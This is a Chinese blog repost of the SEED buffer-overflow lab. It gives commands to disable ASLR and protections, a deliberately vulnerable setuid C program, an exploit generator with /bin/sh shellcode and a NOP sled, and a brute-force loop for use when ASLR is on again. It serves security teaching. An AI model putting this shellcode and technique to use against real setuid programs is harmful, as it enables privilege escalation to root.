首页 > 其他分享 >SEED实验:缓冲区溢出漏洞实验__网络攻防实验

SEED实验:缓冲区溢出漏洞实验__网络攻防实验

时间:2022-10-29 21:55:04浏览次数:106  
标签:__ x90 badfile char buffer SEED 实验 include stack

sudo sysctl -w kernel.randomize_va_space=0

sudo su
cd /bin
rm sh
ln -s zsh sh

/* stack.c /
/
This program has a buffer overflow vulnerability. /
/
Our task is to exploit this vulnerability */

include <stdlib.h>

include <stdio.h>

include <string.h>

int bof(char *str)
{
char buffer[12];//和原程序不一样的地方在此处,如果没有修改,最终结果会是return properly 无法攻击成功.获得root权限

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

gcc -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack

/* exploit.c /
/
A program that creates a file containing code for launching shell*/

include <stdlib.h>

include <stdio.h>

include <string.h>

char shellcode[]=

"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

sudo su
/sbin/sysctl -w kernel.randomize_va_space=2
sh -c "while [ 1 ]; do ./stack; done;"

标签:__,x90,badfile,char,buffer,SEED,实验,include,stack
From: https://www.cnblogs.com/shenyvjie/p/16839980.html

相关文章

  • React实用插件收集
    1、react-img-editor图片编辑demo:npminstallreact-img-editor-S引入和使用importReactImgEditorfrom'react-img-editor'import'react-img-editor/assets/in......
  • 唐太宗《百字箴》
    耕夫碌碌,多无隔夜之粮;织女波波,少有御寒之衣。日食三餐,当思农夫之苦;身穿一缕,每念织女之劳。寸丝千命,匙饭百鞭。无功受禄,寝食不安。交有德之朋,绝无义之友。取本分之财......
  • 单细胞计数矩阵是如何生成的?(二)
    导读本文将介绍scRNA-seq的表达矩阵是如何生成。1.文库制备根据所使用的文库制备方法,RNA序列(也称为读数或标签)将来自转录本(10XGenomics、CEL-seq2、Drop-seq)的3'末......
  • LeetCode 题解 | 1. 两数之和 Javascript 版
    题目给定一个整数数组nums 和一个整数目标值target,请你在该数组中找出和为目标值target 的那 两个 整数,并返回它们的数组下标。你可以假设每种输入只会对应一个......
  • Vue3——Transition TransitionGroup
    Vue3TransitionTransitionGroup官网地址:https://cn.vuejs.org/guide/built-ins/transition.html官网讲得很详细我就只写基本用法了目录Vue3TransitionTransitionGr......
  • 【2022-10-29】前端Vue框架(四)
    一、计算属性计算属性实现首字母大小写<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><title>Title</title><scriptsrc="./js/vue.js"......
  • 软件质量保障体系建设
    https://www.cnblogs.com/imyalost/p/15116840.html从事软件测试相关工作七年,做过功能测试、自动化测试、测试开发、性能测试、专项测试,也干过一段时间技术管理。近几年......
  • Flutter集成高德地图
    Flutter集成高德地图,看官方文档写的不是很清楚,有些功能还没有移植到Flutter上,导致集成的时候遇到一些问题,把遇到的问题记录下来,方便之后查询导入库:在flutter项目的pubs......
  • LeetCode 题解 | 3. 无重复字符的最长子串 Javascript
    /***@param{string}str*@returnsnumber*思路:1.start与range组合成一个窗口,窗口内的子串就是当前最长不重复的字符串*2.range每次循环递增*......
  • LeetCode 题解|6. Z 字形变换
    /***@param{string}s*@param{number}numRows*@return{string}*/varconvert=function(s,numRows){//存储结果constrows=[];//指针下一......